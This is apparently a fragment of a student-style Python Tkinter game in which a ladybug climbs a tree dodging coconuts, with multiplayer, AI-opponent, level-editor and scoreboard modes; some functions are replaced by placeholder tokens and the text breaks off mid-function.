powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 